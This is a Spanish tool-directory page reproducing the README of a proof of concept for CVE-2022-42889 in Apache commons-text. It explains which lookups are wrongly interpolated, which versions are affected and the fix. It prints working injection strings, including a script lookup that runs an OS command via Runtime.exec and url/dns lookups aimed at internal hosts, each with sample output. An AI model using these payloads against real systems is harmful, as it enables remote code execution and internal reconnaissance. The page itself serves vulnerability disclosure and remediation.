Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-42889-PoC — Prueba de concepto para la vulnerabilidad CVE-2022-42889 de Apache commons-text. | Kitploit
Herramientas/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Prueba de concepto para la vulnerabilidad CVE-2022-42889 de Apache commons-text.

Ver Repositorio
34176hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-42889 PoC

Esto es una Prueba de Concepto para la vulnerabilidad CVE-2022-42889. Este código ejecutará el código JavaScript 195 + 324. Si es vulnerable, la salida debería ser:

PoC Output: 519

Para poder ejecutar esto necesitarás:

  • JDK 11 o superior
  • Maven

Cuando se te solicite una cadena de explotación, puedes proporcionar tu propia cadena de explotación (y pulsar Enter para introducir la cadena), o simplemente pulsar Enter para usar la cadena de explotación predeterminada ${script:javascript:195 + 324}.

Docker

Alternativamente, puedes usar Docker para poder ejecutar este PoC:

docker build -t poc .
docker run -it poc

¿Cuál es el Problema?

El problema surge del hecho de que las siguientes claves no deberían ser interpoladas por defecto (según la documentación https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

Esta búsqueda permite que se ejecute el código JavaScript suministrado. El resultado es la capacidad de un atacante de poder ejecutar código arbitrario en el sistema.

Formato

${script:<motor>:<código>}

Ejemplo

${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Ejemplo en el PoC:

Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

Esta búsqueda llama a la url especificada. Un atacante podría aprovechar esto para poder realizar peticiones GET básicas a recursos internos.

Formato

${url:<codificación-de-caracteres>:<url>}

Ejemplo

${url:UTF-8::https://internal-jenkins.companyx.net/}

Ejemplo en el PoC:

Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

Esta búsqueda realiza una consulta DNS, o una búsqueda inversa. Esto podría permitir a un atacante poder identificar recursos internos.

Formato

${dns:<dirección,nombre-canónico,nombre>|<host>}

Ejemplo

${dns:address|internal-jenkins.companyx.net}

Ejemplo en el PoC:

Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

Sin embargo, debido a un fallo en la lógica, estas 3 claves se interpolan por defecto, cuando no deberían (ya que podrían representar un riesgo de seguridad).

¿Cuál es el Riesgo?

Un atacante con control sobre la cadena pasada a un reemplazo StringSubstitutor afectado podría permitir al atacante:

  • Ejecutar código JavaScript en el sistema (normalmente un servidor) que ejecuta el código StringSubstitutor
  • Conectarse a otros servidores desde el sistema afectado
  • Potencialmente obtener acceso a otros recursos remotos desde el sistema afectado

¿Soy vulnerable?

Para que tu código sea vulnerable necesitas:

  • Estar ejecutando una versión de Apache commons-text desde la versión 1.5.0 hasta (sin incluir) 1.10.0

  • Usar Interpolación para tu StringSubstitution (ver https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • Ten en cuenta que en JDK 15 y posteriores, el motor JavaScript Nashorn ya no está incluido. Sin embargo, el motor JEXL todavía está incluido y, como resultado, el RCE aún puede ser posible.

    (gracias a rgmz por señalar esto)

Corrección Oficial

La solución es actualizar tus instancias de commons-text a las versiones 1.10.0 o posteriores.

Nota

Las otras búsquedas predeterminadas aún podrían representar un riesgo de seguridad (como la capacidad de leer el contenido de archivos, leer propiedades del sistema, etc.). Usa esta funcionalidad con precaución y asegúrate de que toda la entrada del usuario esté adecuadamente saneada (por ejemplo, pasándola a través de una lista de permitidos).

Descargar herramienta